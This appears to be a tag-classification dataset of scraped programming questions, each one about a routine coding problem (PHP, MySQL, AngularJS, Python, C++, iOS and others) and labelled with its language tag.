php multiplication of two cell input by user <pre><code>for ($i=1; $i&lt;=3; $i++)  { print( &lt;tr&gt; ); print( &lt;td&gt;$i&lt;/td&gt; );  print( &lt;td&gt;&lt;input type= text  name= meter[$i]  class= meter  maxlength= 21  id= meter[$i]  /&gt;&lt;/td&gt; );                     print( &lt;td&gt;&lt;input type= text  name= weight[$i]  maxlength= 21  class= weight  id= weight[$i]  size= 10  /&gt;&lt;/td&gt; ); print( &lt;td&gt;&lt;input type= text  name= amount[$i]  maxlength= 21  class= amount  id= amount[$i]  size= 10  /&gt;&lt;/td&gt; );                   print( &lt;/tr&gt; ); }  &gt; </code></pre>   i want like this     if i enter 110 in meter and 10 in weight it should give me ans (10/110)*100; in each column   <pre>(weight/meter)*100</pre>   <pre>  meter  weight  output     110   | 10   |  9.09     120   | 12   |  10     130   | 14   |  10.76</pre>,php
text and autoincremented number together in a field in mysql  i want to create a table  where the fields are labeled with an auto-incremented number at the end  such as:     comp1 comp2 comp3    is that possible  then if yes  how,mysql
angularjs routing issue - appends index.html  i have simple angularjs application and i believe i did not configure the routing the right way because in the browser the url looks weird. for example when i access my index.html page this is the url: <code>http://localhost:8082/basic-web-app/app/index.html#/</code> and when i navigate to another pages within the app it appends the location after index.html#/: <code>http://localhost:8082/basic-web-app/app/index.html#/login</code> every example i checked was without index.html and appending the location like <code>http://localhost:8082/basic-web-app/app/</code> and <code>http://localhost:8082/basic-web-app/app/login</code> my routing:   <pre><code>    coursesapp.config(function($routeprovider  $httpprovider) {     $routeprovider      // route for the home page     .when( /   {         templateurl:  pages/home.html           controller:  maincontroller           controlleras:  controller      })      // route for the courses page     .when( /courses   {         templateurl:  pages/courses.html           controller:  coursescontroller      })      // route for the courses page     .when( /login   {         templateurl:  pages/login.html           controller:  logincontroller           controlleras:  controller      })      .when( /profile   {         templateurl:  pages/profile.html           controller:  profilecontroller      });      $httpprovider.defaults.headers.common[ x-requested-with ] =  xmlhttprequest ; }); </code></pre>   thank you!,angularjs
what is better  one javascript framework  or multiple frameworks  i am an avid user of the yui framework (<a href= http://developer.yahoo.com/yui/  rel= noreferrer >http://developer.yahoo.com/yui/</a>).  it has its  strengths and weaknesses both performance wise and syntax wise.  i have seen a bit of jquery and i have worked a little with prototype as well but i have stuck mainly to yui.  my question is  is it better to stick with one javascript library per application  or leverage the abilities of multiple javascript frameworks in your application,javascript
jquery - slide out sidebar  i found this code for a slide in/out sidebar. how to let it slide in after the website is loaded so people can sneak peak the content a bit     (function sidebar() {   <pre><code>        var sidebar = $( #sidebar ).show()              sidebarbutton = $( #sidebarbutton   sidebar)              w = sidebar.outerwidth();          sidebar.css( left    -  + w +  px );          sidebarbutton.toggle (              function() {                 sidebar.css( left   0).show( slide   { easing:  easeoutcubic  }  1000  function() {                     sidebarbutton.css( right    -20px );                 });             }               function() {                 sidebar.animate({ left:  -  + w +  px  }  1000   easeoutcubic );                 sidebarbutton.css( right    -20px );             }          );        }()); </code></pre>   thanks,jquery
how to make the rails commands shorter  i d like to make rails commands shorter. that is to say  i want to type    <pre><code>r g scaf user name:string age:integer  </code></pre>   instead of    <pre><code>rails g scaffold user name:string age:integer </code></pre>   do you know how to customize the shortcuts  i d appreciate your advice.    thanks in advance.,ruby-on-rails
cross query for 4 tables with count or sum case  i need a table  which contains counted data.    i ve got 2 base tables  and 3 connected tables with data.   <pre><code>select * from job_action id  action_code  action_name  price  category ... 1   2563         printing     25     sz 2   5236         graphic      20     ny 3   6325         folding      19     ct 4   8996         sticking      5     ko 5   8956         booking      52     el 6   2535         promo         2     sz ... </code></pre>   and customers:   <pre><code>select * from customers id  name     code   category ... 1   d  john  0042   a 2   d  jane  0045   p 3   s  tom   0065   k 4   f  frank 0086   k 5   e  goal  0120   p </code></pre>   the data tables:   <pre><code>select * from orders id  ordernum    customer_name   customer_code  ... 1   15/653      d  john         0042 2   15/654      f  frank        0086 … </code></pre>   jobs:   <pre><code>select * from  jobs id  order_id    jobname … 1   2           flyer 2   98          molino 3   132         infographic … </code></pre>   job_action_items:   <pre><code>select * from job_act_items id  job_id  item_code   category    … 1   1       2563    sz 2   1       2563    sz 3   2       8996    ko 4   3       6325    ct  </code></pre>   where:   <pre><code>customers &gt;———&gt;&gt; orders where orders.customer_name = customer.name and orders.customer_code = customer.code orders &gt;———&gt;&gt;  jobs     where jobs.order_id = orders.id jobs &gt;———&gt;&gt; job_act_items   where job_act_items.job_id = jobs.id </code></pre>   i d like an output table:   <pre><code>cust.cat.| sz | el | ct | ny | ko | total   // job_action.category      a   |  1 |  2 |  4 |  2 |  1 | 10      // count of element sz cat. job_action of a cat. customer       p   |  4 |  6 |  4 |  3 |  2 | 19        k   |  5 |  3 |  5 |  0 |  0 | 13 </code></pre>   i m trying some <code>inner join</code> queries  sum case subqueries and pivot queries  but i m not apply for cycle  this database is based an os software  i need an array for these data.    it seems to me i m totally too stupid for this :(    please help me!  thanks  and sorry for my poor english!,mysql
limit to single decimal point  i m writing an iphone app where the user is requested to input decimal a value. i would like to limit user to inputing a single decimal place. i.e. stopping the user entering something meaningless like 10.10.2.     any suggestions.    many thanks in advance.    r,ios
copying an object from array to array in java  i m trying to copy an object i ve created from one array to another of the same type in java. when i run my program i receive a nullpointerexception.    the relevant class functions are:   <pre><code>private int mstate; public cell(int prow  int pcolumn  int pstate) {     //other things     setstate(pstate); }  public void setstate(int pnewstate) {     mstate = pnewstate; }  public void setdead() {     mstate = dead; } </code></pre>   and the line in which the error occurs:   <pre><code>mfuturegeneration[i][j].setdead(); </code></pre>   that array is defined as    <pre><code>private cell [][] mfuturegeneration; </code></pre>   then dimensioned as    <pre><code>mfuturegeneration = new cell[100][100];  </code></pre>   it receives its contents from:    <pre><code>cell [][] vseedarray = new cell[100][100];  </code></pre>   which is filled as   <pre><code>for (int i = 0; i&lt;100; i++) {     for (int j = 0; j&lt;100; j++) {         int vnewstate = mgenerator.nextint(2) - 1;         vseedarray[i][j] = new cell(i j vnewstate);     } } </code></pre>   i think the problem is happening in the copy  but i was always under the impression java copied by reference  so i can t see why it would be failing.    i copy the contents across with a loop   <pre><code>for(int i = 0; i&lt;vseedarray.length; i++) {     for(int j=0; j&lt;vseedarray[i].length; j++) {             mcurrentgeneration[i][j] = vseedarray[i][j];     } } </code></pre>   any help would be appreciated.    thanks.,java
setting two charsets  utf-8 and text/html  i m new to learning html and learning about metadata in a webpage. it seems like people prefer you have  to set the character set to support utf-8 and people are also saying have charset= text/html  so browsers know what kind of information they are receiving. how can i set both since it seems like both use the same attribute,html
best angular practices for static website  i am fairly new to angular. i am building a client side app for a company. purely informative.     i am becoming familiar with re-usable components (ex: nav-bar and footer)   but if every page on the site (ex: about us  products  blog) have no similar features  should each  page  be its own component     need a bit of clarification and understanding for angular best practices.,angularjs
multiautocompletetextview like text messaging application with custom users list  i try to make my own multiautocompletetextview to make it works like the recipient field in the text messaging application in android but with my own users list.    i used custom library on github but no one seems to correspond to my need.     i see there s something like this here <a href= https://plus.google.com/+romannurik/posts/wud7grfzfiz  rel= nofollow >https://plus.google.com/+romannurik/posts/wud7grfzfiz</a>  but i didn t manage to provide my own users list instead of phone contacts list or phone mails list (what a pity because this is absolutly what i need)    did someone succeed to make this,android
dependency betweem list entries  i stumbled upon something that for the time being looks really weird to me. maybe i have been looking at it for too long and too up-close  so i am counting on your fresh pair of eyes and  of course  expertise.    i have a list that i want to update  namely <strong>ply_info</strong>. the update consists of getting an element from the list (the one pointed by <strong>sign_reversal_index</strong>)  duplicating it and adjusting the values of the original and copy-cat entries. this final bit is the weird one and takes place at the two last lines of code.   <pre><code>ply_info = [[0.3]  [0.13]  [0.13]  [0.3]  [0.13]  [0.13]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]] t_ply = [0.3  0.13  0.13  0.3  0.13  0.13  0.3  0.3  0.3  0.3  0.3  0.3  0.3  0.3  0.3  0.3  0.3]  height_list = [0] for i in range(len(t_ply)):     height_list.append(height_list[i] + t_ply[i])  mid_plane_z = sum(t_ply) / 2  if mid_plane_z not in height_list:     print( ...no ply boundary lies on mid plane.\n   ...splitting the one that crosses it.\n )     height_list.append(mid_plane_z)     height_list = sorted(height_list)     sign_reversal_index = height_list.index(mid_plane_z)     ply_to_duplicate = ply_info[sign_reversal_index-1]     ply_info.insert(sign_reversal_index-1  ply_to_duplicate)     ply_info[sign_reversal_index-1][0] = height_list[sign_reversal_index] - height_list[sign_reversal_index-1]     ply_info[sign_reversal_index][0] = height_list[sign_reversal_index+1] - height_list[sign_reversal_index] </code></pre>   i debugged the thing and it looks like the two entries are somehow linked and updating the one  updates the other too. both values get updated twice  once in the second to last and once in the last line of code. can anybody please explain why something like that is happening and how it relates to the creation of the copy  what would be the way to go about\around this     the correct output would be:   <pre><code>[[0.3]  [0.13]  [0.13]  [0.3]  [0.13]  [0.13]  [0.3]  [0.3]  [0.3]  [0.19]  [0.11]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]  [0.3]] </code></pre>   notice the ... [0.19]  [0.11] ...     instead i am getting ... [0.11]  [0.11] ...    thanks a lot!,python
how to set value for defineproperty by string name   i want to create output interface with an html page with help define properties for it but don t find how i can set a variable by name for the properties.   <pre><code>var _root = {}; var value = 2;  object.defineproperty(_root   myproperty   {     get: function(){         return value;            }                  set: function(val){          value = val;            }      enumerable: true      configurable: true });   function setvalue( nameproperty    value  ){   nameproperty = value;  }     function getvalue( nameproperty){    return  eval(nameproperty);   }     setvalue( _root.myproperty   35 ); // this function is called from c#   webbrowser.document.invokescript( setvalue    new object[]{ _root.myproperty   35  });       console.log( getvalue(  _root.myproperty )); </code></pre>   <strong>edit</strong> i tried to set value with eval but it doesn t work.   <pre><code>function setvalue( nameproperty    value  ){     var ob = eval(nameproperty);     ob =value; }    </code></pre>,javascript
why can t we access an object using its address in python   <strong>background</strong>    i came to know recently that this is because the garbage collection would clear the contents of the location anytime  so relying on it would be a bad idea. there could be some other reason too  but i don t know.    i also came to know we could access an object given its location using c  because the in cpython address=id of the object. (i should thank the irc guys for this.). but i haven t tried it.    i am talking about this address (id):   <pre><code>address = id(object_name) </code></pre>   or may be this one (if that helps):   <pre><code>hex_address = hex(id(object)) </code></pre>   anyway  i still think it would have been better if they gave some method that could do that for me.     i wouldn t want to use such a method in practice  but it bothers me that we have an object and something that would give its address  but nothing that does the vice-versa.    <strong>question</strong>   <ul> <li>why was this decision made </li> <li>can we do this using crazy introspection/hack at the python level  i have been told we can t do that at python level  but i just wanted to be sure.</li> </ul>,python
chained anonymous object creation on the heap  i m writing some arduino libraries and would like to improve readability / add some syntactic suggar.    what i would like to do is create objects on the heap in a way that would look like:   <pre><code>panel panel(      button( 1 ).on( click( clickfunc ) )      button( 2 ).on( hold( holdfunc  1000 ) ) ); </code></pre>   (button  click  hold are all classes and internally managed via linked lists (so they aren t constant.))    i tried writing it this way but i stumbled over problems with references to temporaries.    currently i can use:   <pre><code>button button1( 1 )  button2( 2 ); click theclick( clickfunction ); hold thehold( holdfunction  1000 ); panel( button1.on( theclick )  button2.on( thehold ) ); </code></pre>   but this is not nearly as readable as the above and tends to be error-prone  because you have to stay alert and don t put e.g. theclick on another button which would break the linked list.    some heavily shortened excerpts from the classes like they are now.   <pre><code>class button {     handler *_first;     button( int no ){...}     button &amp; on( handler &amp;handler ){         handler._next = _first;         _first = &amp;handler;         return *this;     }     void handle( int oldvalue  int newvalue ) {         handler *handler;         for( handler = _first; handler; handler = handler-&gt;_next ){             handler-&gt;handle( oldvalue  newvalue );         }     } } class handler {     handler *_next;     virtual void handle( int oldvalue  int newvalue ) = 0;     ... } class click : public handler {     ... } class hold : public handler {     ... } </code></pre>   note that this doesn t necessarily needs to stay this way. the goal is to provide a library where its user doesn t need to know to much about its inner working but has a simple/clean interface.,c++
bringing the header to the front so that the links work  i ve just added a feature to my site which i followed from the <a href= http://fortysevenmedia.com/blog/archives/making_your_footer_stay_put_with_css/  rel= nofollow >fortyseven media</a> website. it basically makes your footer stick to the bottom of the browser.    however  now my header is behind everything else and the links inside the header are no longer clickable. does anyone know how i can bring my header back to the front.    here s the page i m working on right now  <a href= http://www.skiroid.com/error/404/  rel= nofollow >404 - skiroid</a>. i m trying to get that page to work before i fix all the other pages.    i ve spent an hour messing around with it trying to get the header back to the front. everything i ve tried doesn t seem to be working.    any help would be awesome! thanks.,html
how == operator works with system.type <pre><code>typeof(int) == typeof(int) </code></pre>   how this expression evaluates       when i use    <pre><code>console.writeline(typeof(int)); </code></pre>   it outputs <code>system.int32</code> using <code>tostring()</code> method of object. so i am assuming that in this expression   <pre><code> typeof(int) == typeof(int) </code></pre>   <code>tostring()</code> converts both to <code>system.int32</code> and then thier string gets compared. is that true       or something else happenning,c#
.net events cause uncontrollable memory usage  assume we have a single windows form with a button called simplebutton1. the following code results in an uncontrollable amount of memory usage. what am i doing incorrectly     my understanding is that at every iteration of the for loop  gc cleans up any testclass objects  and would take care of any associated events as well since there are no handlers on any of the events   <pre><code>public class form1  private sub simplebutton1_click(byval sender as system.object  byval e as system.eventargs) handles simplebutton1.click     for i = 1 to 1000000         dim test1 as new testclass                 next end sub end class  public class testclass     private event testevent(byval sender as object) end class </code></pre>   note that i have tried implementing idisposable and calling test1.dispose() at the end of every iteration of the for loop  but i suspect i am not disposing the correct resources.    *answered: there was no problem in the code  and it was run as expected. problem was that i was running it in debug mode  and the overhead that is created results in large memory usage. see discussion below.,.net
conditional where clause with case statement  i am working with the following query and i m stuck   <pre><code>select      @siteid = site.siteid       @customerid = customer.customerid  from      customer     inner join site on customer.siteid = site.siteid where      site.phonenumber = @vaultid      and customer.clientid = @clientid </code></pre>   some of the customer.clientid fields are being updated from a four character field to an eight character field  ex:  1234  is becoming  1234  01 .  the customer will always be passing in a four character id.  depending on what siteid they re record has  i need to modify the query so that it reads only the first four characters of the id.  so what i have been trying to work on is adding this in the where clause:   <pre><code>    and case     when site.siteid in ( 1t   1q )      then rtrim(ltrim(substring(customer.clientid  1 6)))= @clientid else     customer.clientid = @clientid end </code></pre>   but i m not having much luck.  the research i ve done so far leads me to believe case statements in the where clause aren t a great idea to begin with but i feel like i m close here.  i know i can make a totally separate call to the site table before making this call but i really want to get this in one statement  hoping that s possbile.,sql
how do i handle unknown attributes in a configuration file  in our application  we have a custom configuration that we save and read. our problem is this: as the product evolves  some configuration properties are no longer needed  or are renamed  or whatever. files written by previous versions of our product have these properties in them  so when these files are read an exception is thrown (configurationerrorsexception).    is there any way to catch the exception so that the unknown property is ignored     here is an example of what i mean. if i try to read the following file:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;configuration&gt;     &lt;configsections&gt;         &lt;section name= mysettings  type= config.mysettingsconfiguration  config  version=0.0.0.0  culture=neutral  publickeytoken=null  allowlocation= true  allowdefinition= everywhere  allowexedefinition= machinetolocaluser  overridemodedefault= allow  restartonexternalchanges= true  requirepermission= true  /&gt;     &lt;/configsections&gt;     &lt;mysettings&gt;         &lt;myelement bogus=  /&gt;     &lt;/mysettings&gt; &lt;/configuration&gt; </code></pre>   and  bogus  is not defined as a property of  myelement   an exception will be thrown. i would like to be able to catch this exception and ignore  bogus  (or not have the exception thrown at all).    thanks!    jab,.net
rails console won t run (console error)  i d like to run rails console command but it throw error everytime i run it. here is the error i get :   <pre><code>loading development environment (rails 5.1.4) d:/railsinstaller/ruby2.3.3/lib/ruby/site_ruby/2.3.0/rbreadline.rb:6090:in `delete : invalid byte sequence in utf-8 (argumenterr or)         from d:/railsinstaller/ruby2.3.3/lib/ruby/site_ruby/2.3.0/rbreadline.rb:6090:in `alloc_history_entry          from d:/railsinstaller/ruby2.3.3/lib/ruby/site_ruby/2.3.0/rbreadline.rb:6123:in `add_history          from d:/railsinstaller/ruby2.3.3/lib/ruby/site_ruby/2.3.0/readline.rb:368:in `&lt;&lt;          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/ext/save-history.rb:76:in `block (2 levels) in load_history          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/ext/save-history.rb:76:in `each           from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/ext/save-history.rb:76:in `block in load_history          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/ext/save-history.rb:75:in `open          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/ext/save-history.rb:75:in `load_history          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/ext/save-history.rb:65:in `extended          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/ext/save-history.rb:21:in `extend          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/ext/save-history.rb:21:in `init_save_history          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/ext/save-history.rb:45:in `save_history=          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb/context.rb:91:in `initialize          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb.rb:426:in `new          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb.rb:426:in `initialize          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb.rb:383:in `new          from d:/railsinstaller/ruby2.3.3/lib/ruby/2.3.0/irb.rb:383:in `start          from d:/railsinstaller/ruby2.3.3/lib/ruby/gems/2.3.0/gems/railties-5.1.4/lib/rails/commands/console/console_command.rb:6 2:in `start          from d:/railsinstaller/ruby2.3.3/lib/ruby/gems/2.3.0/gems/railties-5.1.4/lib/rails/commands/console/console_command.rb:1 7:in `start          from d:/railsinstaller/ruby2.3.3/lib/ruby/gems/2.3.0/gems/railties-5.1.4/lib/rails/commands/console/console_command.rb:9 7:in `perform          from d:/railsinstaller/ruby2.3.3/lib/ruby/gems/2.3.0/gems/thor-0.20.0/lib/thor/command.rb:27:in `run          from d:/railsinstaller/ruby2.3.3/lib/ruby/gems/2.3.0/gems/thor-0.20.0/lib/thor/invocation.rb:126:in `invoke_command          from d:/railsinstaller/ruby2.3.3/lib/ruby/gems/2.3.0/gems/thor-0.20.0/lib/thor.rb:387:in `dispatch          from d:/railsinstaller/ruby2.3.3/lib/ruby/gems/2.3.0/gems/railties-5.1.4/lib/rails/command/base.rb:63:in `perform          from d:/railsinstaller/ruby2.3.3/lib/ruby/gems/2.3.0/gems/railties-5.1.4/lib/rails/command.rb:44:in `invoke          from d:/railsinstaller/ruby2.3.3/lib/ruby/gems/2.3.0/gems/railties-5.1.4/lib/rails/commands.rb:16:in `&lt;top (required)&gt;          from bin/rails:4:in `require          from bin/rails:4:in `&lt;main&gt;  </code></pre>   i ve tried to reinstall/reinstall and clean every version of ruby with no success. i use ruby 2.3.3 and rails 5.1.4. thanks,ruby-on-rails
multiple events at once with pure javascript   is there any shorter way of doing this with pure javascript    <pre><code>temp_thumbimage.onload = function () {     drawthumbnails(); };  temp_thumbimage.onerror = function () {     drawthumbnails(); }; </code></pre>   thank you,javascript
call objective c function from objective c file  i am trying to call the gameviewcontroller.mm s teardowngl function from the appdelegate.m s applicationwillresignactive function.    how do i do access the gameviewcontroller.mm s functions from appdelegate.m     here is my gameviewcontroller.h file:   <pre><code>#ifndef gameviewcontroller_h #define gameviewcontroller_h  #import &lt;uikit/uikit.h&gt; #import &lt;glkit/glkit.h&gt;    @interface gameviewcontroller : glkviewcontroller  @end    #endif </code></pre>   my gameviewcontroller.mm is:   <pre><code>#import  gameviewcontroller.h  #import &lt;opengles/es2/glext.h&gt;  #include  shader.h  #include  matrix_utils.h  #include  tga_image.h   #include &lt;iostream&gt; using std::cout; using std::endl;  #include &lt;vector&gt; using std::vector;  #include &lt;chrono&gt; using std::chrono::high_resolution_clock; using std::chrono::duration_cast; using std::chrono::milliseconds; using std::chrono::time_point;   float last_click_float_x   last_click_float_y;  shader shader( shader.vert    shader.frag ); unsigned int triangle_buffer; gluint card_tex  rank_tex;  @interface gameviewcontroller () {  }  @property (strong  nonatomic) eaglcontext *context;    @end  @implementation gameviewcontroller   - (void)viewdidload {     [super viewdidload];      self.context = [[eaglcontext alloc] initwithapi:keaglrenderingapiopengles2];      if (!self.context) {         nslog(@ failed to create es context );     }      glkview *view = (glkview *)self.view;     view.context = self.context;     view.drawabledepthformat = glkviewdrawabledepthformat24;      [self setupgl]; }   - (void)dealloc {         [self teardowngl];      if ([eaglcontext currentcontext] == self.context) {         [eaglcontext setcurrentcontext:nil];     } }  - (void)didreceivememorywarning {     [super didreceivememorywarning];      if ([self isviewloaded] &amp;&amp; ([[self view] window] == nil)) {         self.view = nil;          [self teardowngl];          if ([eaglcontext currentcontext] == self.context) {             [eaglcontext setcurrentcontext:nil];         }         self.context = nil;     }      // dispose of any resources that can be recreated. }  - (bool)prefersstatusbarhidden {     return no; }   - (void)setupgl {     nslog(@ setupgl );      [eaglcontext setcurrentcontext:self.context];      glclearcolor(0.284313  0.415686  0  1);      glenable(gl_cull_face);      glenable(gl_blend);     glblendfunc(gl_src_alpha  gl_one_minus_src_alpha);      if(!shader.compileandlink())         nslog(@ failed to load shader );      //tell opengl to use this shader for all coming rendering     gluseprogram(shader.getprogram());      unsigned int m_renderbufferwidth  m_renderbufferheight;     cgrect rect=[[uiscreen mainscreen] bounds];     m_renderbufferwidth = rect.size.width;     m_renderbufferheight = rect.size.height;      float projection_modelview_mat[16];      init_perspective_camera(45.0f                              float(m_renderbufferwidth)/float(m_renderbufferheight)                              0.01f  10.0f                              0  0  1  // camera position.                             0  0  0  // look at position.                             0  1  0  // up direction vector.                             projection_modelview_mat);      glint projection = glgetuniformlocation(shader.getprogram()   mvp_matrix );     gluniformmatrix4fv(projection  1  gl_false  &amp;projection_modelview_mat[0]);      glgenbuffers(1  &amp;triangle_buffer);      glactivetexture(gl_texture0);     glgentextures(1  &amp;card_tex);     glbindtexture(gl_texture_2d  card_tex);     gltexparameterf(gl_texture_2d  gl_texture_min_filter  gl_nearest);     gltexparameterf(gl_texture_2d  gl_texture_mag_filter  gl_linear);     gltexparameterf(gl_texture_2d  gl_texture_wrap_s  gl_clamp_to_edge);     gltexparameterf(gl_texture_2d  gl_texture_wrap_t  gl_clamp_to_edge);      nsstring *fileroot = [[[nsbundle mainbundle] resourcepath] stringbyappendingpathcomponent:@ card_texture.tga ];      tga_32bit_image card_img;      card_img.load([fileroot utf8string]);      glteximage2d(gl_texture_2d  0  gl_rgba  card_img.width  card_img.height                   0  gl_rgba                   gl_unsigned_byte  &amp;card_img.pixels[0]);        glactivetexture(gl_texture1);     glgentextures(1  &amp;rank_tex);     glbindtexture(gl_texture_2d  rank_tex);     gltexparameterf(gl_texture_2d  gl_texture_min_filter  gl_nearest);     gltexparameterf(gl_texture_2d  gl_texture_mag_filter  gl_linear);     gltexparameterf(gl_texture_2d  gl_texture_wrap_s  gl_clamp_to_edge);     gltexparameterf(gl_texture_2d  gl_texture_wrap_t  gl_clamp_to_edge);      fileroot = [[[nsbundle mainbundle] resourcepath] stringbyappendingpathcomponent:@ rank_texture.tga ];      tga_32bit_image rank_img;      rank_img.load([fileroot utf8string]);      glteximage2d(gl_texture_2d  0  gl_rgba  rank_img.width  rank_img.height                   0  gl_rgba                   gl_unsigned_byte  &amp;rank_img.pixels[0]); }      - (void)teardowngl {     nslog(@ teardowngl );       [eaglcontext setcurrentcontext:self.context];      gldeletebuffers(1  &amp;triangle_buffer);      gldeletetextures(1  &amp;card_tex);      gldeletetextures(1  &amp;rank_tex);      nslog(@ teardown ); }  #pragma mark - glkview and glkviewcontroller delegate methods   - (void)update {    }   void touch_up_pos(int x  int y  unsigned int m_renderbufferwidth  unsigned int m_renderbufferheight) {     const float pi = 4.0f*atanf(1.0f);     const float aspect = (float)(m_renderbufferwidth) / (float)(m_renderbufferheight);      const float fx = 2.0f * ((float)(x) / (float)(m_renderbufferwidth - 1)) - 1.0f;     const float fy = 2.0f * ((float)(y) / (float)(m_renderbufferheight - 1)) - 1.0f;     const float y_fov = pi/4; // pi/4 radians = 45 degrees     const float tangent = tan(y_fov / 2.0f);     last_click_float_x = aspect * tangent* fx;     last_click_float_y = -tangent * fy;      nslog(@ touch up pos %f %f   last_click_float_x  last_click_float_y); }   - (void) touchesended: (nsset*) touches withevent: (uievent*) event {     uitouch *touch = [[event alltouches] anyobject];     cgpoint location = [touch locationinview:touch.view];      unsigned int m_renderbufferwidth  m_renderbufferheight;     cgrect rect=[[uiscreen mainscreen] bounds];     m_renderbufferwidth = rect.size.width;     m_renderbufferheight = rect.size.height;      touch_up_pos(location.x  location.y  m_renderbufferwidth  m_renderbufferheight); }  - (void)glkview:(glkview *)view drawinrect:(cgrect)rect {     glclear(gl_color_buffer_bit);      gluseprogram(shader.getprogram());      gluniform1i(glgetuniformlocation(shader.getprogram()   tex )  0);     //gluniform1i(glgetuniformlocation(shader.getprogram()   tex )  1);      vector&lt;glfloat&gt; vertices = {         -0.2  -0.2   0.0    0.0  0.0  // vertex 0  3d position  2d texture coordinate          0.2  -0.2   0.0    1.0  0.0  // vertex 1          0.2   0.2   0.0    1.0  1.0  // vertex 2         -0.2  -0.2   0.0    0.0  0.0  // vertex 0          0.2   0.2   0.0    1.0  1.0  // vertex 2         -0.2   0.2   0.0    0.0  1.0  // vertex 3     };  /*    vertex_3 v;      for(size_t i = 0; i &lt; vertices.size(); i += 5)     {         v.x = vertices[i + 0];         v.y = vertices[i + 1];         v.z = vertices[i + 2];          v.rotate_y(3.14/3.0);          vertices[i + 0] = v.x;         vertices[i + 1] = v.y;         vertices[i + 2] = v.z;      }   */        glbindbuffer(gl_array_buffer  triangle_buffer);      glbufferdata(gl_array_buffer  vertices.size()*sizeof(glfloat)  &amp;vertices[0]  gl_static_draw);      glenablevertexattribarray(glgetattriblocation(shader.getprogram()   position ));     glvertexattribpointer(glgetattriblocation(shader.getprogram()   position )  3  gl_float  gl_false  5*sizeof(glfloat)  null);      glenablevertexattribarray(glgetattriblocation(shader.getprogram()   tex_coord ));     glvertexattribpointer(glgetattriblocation(shader.getprogram()   tex_coord )  2  gl_float  gl_true   5*sizeof(glfloat)  (const glvoid*)(3 * sizeof(glfloat)));      gldrawarrays(gl_triangles  0  vertices.size());       /*     static time_point&lt;high_resolution_clock&gt; t0 = high_resolution_clock::now();      time_point&lt;high_resolution_clock&gt; t1 = high_resolution_clock::now();      long long unsigned int ms = duration_cast &lt;milliseconds&gt;(t1 - t0).count();      t0 = t1;      cout &lt;&lt; ms &lt;&lt; endl;     */ }     @end </code></pre>   my appdelegate.h file is:   <pre><code>#ifndef appdelegate_h #define appdelegate_h   #import &lt;uikit/uikit.h&gt;  @interface appdelegate : uiresponder &lt;uiapplicationdelegate&gt;  @property (strong  nonatomic) uiwindow *window;   @end  #endif </code></pre>   my appdelegate.m file is:   <pre><code>#include  appdelegate.h  #include  gameviewcontroller.h   @interface appdelegate ()  @end  @implementation appdelegate   - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     // override point for customization after application launch.     return yes; }   - (void)applicationwillresignactive:(uiapplication *)application {         nslog(@ applicationwillresignactive );       // sent when the application is about to move from active to inactive state. this can occur for certain types of temporary interruptions (such as an incoming phone call or sms message) or when the user quits the application and it begins the transition to the background state.     // use this method to pause ongoing tasks  disable timers  and invalidate graphics rendering callbacks. games should use this method to pause the game. }   - (void)applicationdidenterbackground:(uiapplication *)application {      nslog(@ applicationdidenterbackground );     // use this method to release shared resources  save user data  invalidate timers  and store enough application state information to restore your application to its current state in case it is terminated later.     // if your application supports background execution  this method is called instead of applicationwillterminate: when the user quits. }   - (void)applicationwillenterforeground:(uiapplication *)application {           nslog(@ applicationwillenterforeground );     // called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. }   - (void)applicationdidbecomeactive:(uiapplication *)application {      nslog(@ applicationdidbecomeactive );       // restart any tasks that were paused (or not yet started) while the application was inactive. if the application was previously in the background  optionally refresh the user interface. }   - (void)applicationwillterminate:(uiapplication *)application {          nslog(@ applicationwillterminate );           // called when the application is about to terminate. save data if appropriate. see also applicationdidenterbackground:. }          @end </code></pre>,ios
returning code of function instead of result  i saved a function created in jquery in clean.js file..   <pre><code>jquery.fn.singledothyphen = function(){ return this.each(function(){     var $this = $(this);     $this.val(function(){         return $this.val()             .replace(/\.{2 }/g   . )             .replace(/-{2 }/g   - );         }); }); }; </code></pre>   my action file is..   <pre><code>&lt;script type= text/javascript &gt;    $(document).ready(function() { $.noconflict();    $( #title ).limitkeypress ({ rexp:/^[a-za-z.\-\s`]*$/ });         $( #title ).blur(function() {            $(this).singledothyphen();           });  });   &lt;/script&gt; </code></pre>   issue is onblur its returning me code of the function where as i want to return the  string that reject continuous hyphen and dots...,jquery
c++ template unresolved error  i am recently working on a template linked list  however i have encounered a problem   <pre><code>    #ifndef _t_node_ #define _t_node_ using namespace std;  template&lt;typename t&gt; class tnode{ public:     tnode();     tnode(t a);      ~tnode();  private:     t template_;     tnode&lt;t&gt; *link_; };  #endif </code></pre>   my implementation is:   <pre><code>template&lt;typename t&gt; tnode&lt;t&gt;::tnode(){     link_ = null;     template_ = t(); }  template&lt;typename t&gt; tnode&lt;t&gt;::tnode(t a){     template_=a;     link_ = null; }  template&lt;typename t&gt; tnode&lt;t&gt;::~tnode(){     delete link_; } </code></pre>   in another class  i tried to referred it in a function as such:   <pre><code>tnode&lt;bike&gt; * actptr;         actptr = new tnode&lt;bike&gt;(a); </code></pre>   i receive the following error:   <pre><code>error lnk2019: unresolved external symbol  public: __thiscall tnode&lt;class bike&gt;::tnode&lt;class bike&gt;(class bike)   referenced in function  public: void __thiscall </code></pre>,c++
